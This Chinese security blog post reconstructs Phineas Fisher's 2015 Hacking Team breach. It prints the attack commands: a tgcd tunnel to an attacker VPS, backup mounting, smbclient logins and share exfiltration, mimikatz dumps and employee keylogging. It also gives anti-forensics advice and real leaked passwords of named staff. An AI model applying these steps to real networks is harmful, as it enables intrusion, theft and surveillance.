Part1 前言 

大家好,我是ABC_123。意大利黑客组织Hacking Team曾经是全球非常知名的黑客军火商(贩卖攻击武器、0day漏洞),同时也协助政府进行攻击和监控,也对网络罪犯和恐怖组织进行攻击。在2015年7月,著名黑客Phineas Fisher(有可能是西班牙国籍)成功渗透进入Hacking Team内部网络,窃取了超过400G数据,包括电子邮件内容、客户名单、合同文件、武器库源代码,并免费公布在互联网上。Phineas Fisher的宣言是:黑客是一种强大的工具,让我们学习并战斗。Phineas Fisher后续公布了整个攻击过程,网上的文章存在部分翻译错误和攻击流程错误,今天ABC_123重新梳理复盘整个流程,分享给大家。

 Part2 技术研究过程 

首先来一张ABC_123画的一个攻击路线图,让大家有一个直观的感受。

  • 隐藏身份与反取证反溯源

Phineas Fisher认为,很多有国背景的APT组织被追踪溯源,是因为他们反复使用相同的工具、留下一样的指纹,甚至使用相同的域名和邮箱。这些组织之所以疏忽,是因为他们即使被查也不会受到法律制裁。Phineas Fisher为了解决这一问题,在攻击Hacking Team的时候,特意使用了新的邮箱、服务器和域名,购买记录都是使用的比特币;尽量使用公开工具或者专门为此次攻击编写的工具,并刻意更改了一些操作方式,避免留下取证痕迹。在正式攻击的时候,Phineas Fisher搭建了一个虚拟机环境,并保证虚拟机所有的流量都经过Tor洋葱头匿名网络。Tor并不是万能的,他们可能会将你连接 Tor 的时间与你“黑客身份”活跃的时间进行关联分析。也可以连接别人的wifi或者使用VPN节点去连接Tor,但是仍然可以通过家庭网络与黑客行为进行时间关联。结论是,虽然Tor不完美,但是效果仍然不错。

Phineas Fisher建议不要在Tor出口节点进行黑客攻击活动,因为Tor的出口节点会被广泛拉黑干扰,使其网络访问速度变慢,并且无法接收反弹shell连接。Tor的作用是帮助黑客们连接基础设置的时候,保持匿名性。Phineas Fisher的基础设施是这样搭配使用的:域名用于远控服务器(C&C)的地址,也可以用DNS隧道进行反向代理;稳定的服务器IP,用于作为 C&C 控制节点,接收反弹 shell,发起攻击,或存储获取的数据资料;被入侵服务器,作为跳板机,隐藏稳定服务器的真实IP。或者使用他们进行端口扫描、全网扫描、sql注入猜解数据等。

  • 信息收集过程

Phineas Fisher列举出了其使用的信息收集技巧:Google搜索:只需几个精心构造的关键词,就能找到很多有趣的内容;子域名搜索:除了发现很多资产,还可以得知目标公司使用的IP段,他推荐的工具有fierce、theHarvester、recon-ng,theHarvester 与 recon-ng可以快速、自动地搜集大量信息,非常值得通读它们的完整文档;Whois查询与反查:通过whois查询域名或 IP 所属公司信息后,反向查找可以发现该公司使用的其他域名和IP段;端口扫描与指纹识别:Phineas Fisher推荐了nmap,可以识别大多数服务;如果目标ip段比较大,可以使用更快的zmap和masscan,指纹识别可以使用WhatWeb、BlindElephant。社交网络信息收集:LinkedIn可以找到大量的员工信息,data.com原名jigsaw收录了大量的员工联系方式;文件元数据收集:公司发布的各种文档需要重点关注,里面有员工和系统的一些重要数据,也可以使用工具metagoofil和FOCA 。


  • 攻击策略分析

鱼叉式社工钓鱼:这是大多数攻击案例的手段,但是Phineas Fisher认为,Hacking Team组织经常做定向钓鱼,因此对此类攻击行为较为敏感,成功率非常低,故放弃钓鱼邮件这一社工技术。

从黑市购买权限:经过分析,Phineas Fisher认为Hacking Team是一家非常小的公司,大多数员工是网络安全专家,因此他们内部早被入侵的可能性非常低。

暴露面分析:Hacking Team公司在互联网上暴漏的资产非常少,仅有一个公网 IP 段:93.62.139.32 - 93.62.139.47,他们的很多站点需要客户端证书才能访问。排除之后,主要的薄弱点有以下这些:一个主网站,基于Joomla搭建的博客,后续使用Joomscan未发现高危漏洞;此外外网还有一个邮件服务器、几个路由器、两个 VPN 设备、以及一个垃圾邮件过滤设备。

因此Phineas Fisher有三个选择:1、找到 Joomla 的 0day;2、找到 postfix(邮件服务器) 的 0day;3、找到某个嵌入式设备的 0day。Phineas Fisher认为从嵌入式设备下手最容易。于是经过两周的逆向分析,挖掘到了一个远程获取root漏洞,即SonicWall SSL-VPN的bash命令注入漏洞。


  • 漏洞利用前的武器库打造

在使用此嵌入式设备漏洞正式攻击之前,Phineas Fisher做了大量的准备和测试,专门编写了一个嵌入式设备的固件后门,并编译了很多可以在该嵌入式设备运行的后渗透工具。后门的作用就是为了保护该0day漏洞不被分析到,只使用一次漏洞,然后通过后门访问,可以让漏洞更难被发现和修补。

Phineas Fisher最担心的情况是:自己写后门或编译的后渗透工具使目标系统不稳定,引起员工注意从而触发应急响应流程。因此,花费了一整周时间,在其他也存在漏洞的公司网络中测试漏洞利用流程、后门和工具包,确保一切稳定可靠后才打算正式通过漏洞利用进入Hacking Team 的网络。

Phineas Fisher给出的后渗透包括busybox,为了提供系统缺失的大部分unix工具;nmap,用于扫描和识别Hacking Team内网中的主机和服务;Responder.py,在没有域账户的情况下攻击 Windows 网络最有效的工具;Python环境,用于执行 Responder.py;tcpdump,用于抓包分析流量;dsniff用于抓取明文协议(如 FTP)中的密码,也用于 ARP 欺骗。Socat,用于获取一个带有 pty 的 shell;Screen,和pty shell 类似,不是必须;SOCKS 代理服务器,与 proxychains 搭配使用,以便通过任意程序访问其内网;tgcd,通过防火墙转发端口,例如为 SOCKS 代理转发流量。

  • 内网横向扫描获取MongoDB数据库音频

Phineas Fisher通过嵌入式固件漏洞获取外网的一个shell,并进入了Hacking Team的内网。启动了 Responder.py 的分析模式(-A 参数,只监听、不发送投毒回应),然后用 nmap 做了一个慢速扫描。

首先Phineas Fisher尝试了Mysql的各种认证绕过漏洞,没有收获;然后扫描了内网存活的NoSQL数据库,发现了Hacking Team内网有几台未授权访问的MongoDB数据库。经过分析发现,这些数据库是 RCS(远程控制系统)测试环境的,在 MongoDB 中的 GridFS 里保存了RCS 录制的音频。后来Phineas Fisher通过bt种子公布出来的音频文件夹就是从这里获取的。

27017/tcp open  mongodb       MongoDB 2.6.5| mongodb-databases:|   ok = 1|   totalSizeMb = 47547|   totalSize = 49856643072...|_    version = 2.6.527017/tcp open  mongodb       MongoDB 2.6.5| mongodb-databases:|   ok = 1|   totalSizeMb = 31987|   totalSize = 33540800512|   databases...|_    version = 2.6.5
  • 扫描探测到达iSCSI存储设备网

虽然发现了录音文件、也可以看到HackingTeam开发黑客工具的摄像头画面,但是这些内容都不是最有价值的,所以还需要继续内网横向。最终Phineas Fisher发现了iSCSI存储设备(iSCSI 允许服务器通过 TCP/IP 网络连接远程磁盘阵列,就像访问本地硬盘一样),这些设备本应该处在隔离网络中,但是nmap扫描192.168.200.0/24网段时发现了这些设备。Hacking Team内网SAN主存储设施使用Equallogic PS4000,备份设施使用Dell MD3000i iSCSI存储区域网络 DELL PowerVault MD3000i

...3260/tcp open  iscsi?| iscsi-info:|   Target: iqn.2000-01.com.synology:ht-synology.name|     Address: 192.168.200.66:3260,0|_    Authentication: No authentication requiredNmap scan report for synology-backup.hackingteam.local (192.168.200.72)...3260/tcp open  iscsi?| iscsi-info:|   Target: iqn.2000-01.com.synology:synology-backup.name|     Address: 10.0.1.72:3260,0|     Address: 192.168.200.72:3260,0|_    Authentication: No authentication required

iSCSI 协议需要内核模块,不方便在嵌入式设备上编译,将内网的 iSCSI 服务,通过 tgcd 隧道转发到 VPS 上的 127.0.0.1:3260,再在 VPS 上使用 iscsiadm 进行访问。

VPS: tgcd -L -p 3260 -q 42838Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

iSCSI发现了iqn.2000-01.com.synology,但由于目标地址不是 127.0.0.1 而是 192.168.200.72,因此挂载失败。解决方法是使用iptables做地址转换,将本机进程发往 192.168.200.72 的流量 重定向(DNAT)到 127.0.0.1,即重写目标地址。

iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

接着就可以成功挂载,使用iscsiadm 在 Linux 系统上发起一个 iSCSI 登录请求,连接一个特定的 iSCSI target:

iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login

设备文件出现后,使用vmfs-fuse挂载一个文件系统:

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

里面是多个虚拟机的备份。其中最有趣的是Exchange 邮件服务器的备份;虽然太大无法直接下载,但可以远程挂载进行分析。将Exchange.hackingteam.com-flat.vmdk 文件绑定为 loop 设备 /dev/loop0,这是一个 VMware 磁盘文件,.flat.vmdk 是实际数据部分(raw 格式)。

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk

查看分区表偏移,发现偏移为2048 * 512 = 1048576

$ fdisk -l /dev/loop0/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFATso the offset is 2048 * 512 = 1048576

在正确偏移挂载loop 分区,相当于将第一个分区单独拿出来。

losetup -o 1048576 /dev/loop1 /dev/loop0

挂载该分区到文件系统,查看其中的文件。把loop分区/dev/loop1挂载到/mnt/exchange/,以只读方式访问

mount -o ro /dev/loop1 /mnt/exchange/

在/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 中找到 VM 硬盘镜像VHD文件:使用vdfuse 将VHD文件挂载为一个虚拟磁盘。

dfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/

把VHD文件中的第一个分区挂载到 /mnt/part1

mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

最后,就可以在`/mnt/part1`看到所有老的邮件交换服务器上的东西了。

  • 从备份磁盘到域管理员权限

接下来Phineas Fisher分析这些备份的磁盘文件,通过各种方法查看是否有密码或者可以提取哈希,以便用来访问内网中其他的服务器,获取相应权限。对注册表hive使用了pwdump、cachedump和lsadump,lsadump成功找到了besadmin服务账户的密码,BES (BlackBerry Enterprise Server)管理员账户密码:_SC_BlackBerry MDS Connection Service ...  bes32678!!!。

_SC_BlackBerry MDS Connection Service0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........

接下来,Phineas Fisher使用部署在外网嵌入式设备的Socks5代理程序,结合Proxychains进行代理,使用smbclient 对内网192.168段的ip进行密码尝试,最终成功登录192.168.100.51这个服务器,而且该用户具有本地管理员权限。

proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

随后,Phineas Fisher使用Metasploit的psexec_psh模块获取了一个meterpreter session,并迁移到64位进程,执行mimikatz模块的load kiwi、creds_wdigest命令,提取系统明文密码。

获取了一批明文密码,其中包括域管理员账号:

python-replHACKINGTEAM Administrator  uu8dd8ndd12!HACKINGTEAM c.pozzi        P4ssword      <---- 这管理员真是有点随便HACKINGTEAM m.romeo        ioLK/(90...
  • 获取邮服权限并搜索邮件内容

此时,Phineas Fisher已经拥有了域管理员密码,从而获取了Hacking Team公司邮箱的最高权限。此时每执行一步都有可能触发告警,于是通过powershell下载邮件数据再继续分析。

-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}



  • 下载局域网共享文件

接着使用Socks 代理和 smbclient 的 -Tc 选项下载文件共享内容。Phineas Fisher公布的Hacking Team的种子文件中的Amministrazione、FAE DiskStation 和 FileServer 文件夹就是从这里搞下来的。

proxychains smbclient '//192.168.1.230/FAE DiskStation'  -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
  • Windows域环境的入侵

Phineas Fisher分享了一些关于Windows网络攻击的技术:

1. 横向移动:所有远程执行技术都需要目标主机上的本地管理员账号密码或哈希,最常用的方法是mimikatz的 sekurlsa::logonpasswords 和 sekurlsa::msv。横向工具包括psexec、WMI、PSRemoting、GPO等。本地渗透也需管理员权限(除 runas),推荐的提权工具有:PowerUp、BypassUAC。可以盗取一些token、使用MS14-068、进程注入等,比如meterpreter、pupy中的migrate命令,或者pwershell中的psinject命令。

2. 持久化方法:Phineas Fisher采用了类似于Duqu2病毒的驻留内存的持久化方法,选了几台高在线率的服务器驻留内存型后门。为了防止他们同时重启,Phineas Fisher还是用了黄金票据作为备用通道。

3. 内网侦察:Phineas Fisher认为分析Windows最好用的工具不是Powerview,如果遇到Windows2003,由于服务器上没有powershell,所以也得用传统的检测方式,如netview工具或者系统自带的net view命令等。

4. 下载文件名列表:Phineas Fisher推荐的在获取域管权限之后,可以使用PowerView下载网络中所有共享文件的完整路径,然后可以慢慢分析文件列表,挑最想下载的文件。例如:

Inqvoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |  select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1]  | select fullname | out-file -append files.txt}

5. 阅读邮件:正如前面所述,PowerShell 可以导出 Exchange 邮箱,里头信息丰富。

6. 查看SharePoint:很多企业在 SharePoint 上保存了关键资料。PowerShell 同样可以批量导出。

7. Active Directory:AD 中包含用户、主机、组织单位、组等结构性信息。即使不是域管,也可以用 Powerview 获取大量数据;成为域管后,更应用csvde等工具导出全量AD数据。

8. 监视员工活动:甚至可以狩猎系统管理员,只需用PowerSploit 的Get-Keystrokes和Get-TimedScreenshot,再加上Nishang 的Do-Exfiltration 和 GPO 策略,就可以监视任何员工,甚至整个域。通过监控 Christian Pozzi(HT 的管理员)获得了Nagios服务器的访问权限,从而进入了研发网络(Rete Sviluppo),即RCS源码存储区。


  • 猎杀关键员工的个人机,获取加密盘

Phineas Fisher经过分析Hacking Team的内部网络架构文档,发现还没有达到“Rete Sviluppo”(研发网络),也就是保存 RCS 源码的隔离网段。系统管理员通常拥有全网权限,所以开始分析 Mauro Romeo 和 Christian Pozzi 这两个人的主机:这两个主机在Phineas Fisher控制的域内,于是可以直接获取权限。

Mauro 的机器没有开放端口,于是远程开启wmi的135端口,并运行了meterpreter;随即使用了 Get-Keystrokes、Get-TimeScreenshot,使用了大量 metasploit /gather/ 模块进行信息收集、CredMan.ps1 脚本还有搜索关键文件。最后发现 Pozzi 使用了 TrueCrypt 加密盘,Phineas Fisher便等他挂载后立刻把内容拷了出来(注意,这里面不是网上流传的使用了弱口令)。不管密码强不强,mimikatz 和键盘记录器都是一样可以获取这些密码的。

  • 分析加密盘横向到研发网络

Pozzi 的 TrueCrypt 卷中,Phineas Fisher找到一个包含多个密码的文本文件。其中一个密码是用于管理 Nagios 服务器的,该服务器正好连接着 Sviluppo (研发网络),用来监控它。这就是关键跳板机。虽然文本中只是 web 界面密码,但幸运的是存在公开的远程代码执行漏洞,非认证漏洞,但至少得有一个用户活跃会话,正好找到了密码。


  • 重置GitLab及Twitter账号密码

Phineas Fisher在分析Hacking Team的邮件时发现,Daniele Milan有分发 git 仓库访问权限,于是通过Mimikatz获取他的Windows密码,成功登录git服务器;然后尝试执行sudo提权也成功了。接着Phineas Fisher对 GitLab 和他们的 Twitter 账号使用了“忘记密码”功能,配合Phineas Fisher控制的HackingTeam邮件服务器重置了密码。


 Part3 总结 

1.  上述过程是由Phineas Fisher完整描述的,ABC_123对其中的内容进行了翻译错误的纠正,删去了大量与实战利用过程无关的内容。

2.  Phineas Fisher表示,这就是黑客之美,体现了网络对抗的非对称性,个人只需投入 100 小时,就能摧毁一家投入多年、资金千万的企业。黑客让弱者也有机会奋起反击,甚至赢得胜利。

图片

公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。

Contact me: 0day123abc#gmail.com

OR 2332887682#qq.com

(replace # with @)

Logo

智能硬件社区聚焦AI智能硬件技术生态,汇聚嵌入式AI、物联网硬件开发者,打造交流分享平台,同步全国赛事资讯、开展 OPC 核心人才招募,助力技术落地与开发者成长。

更多推荐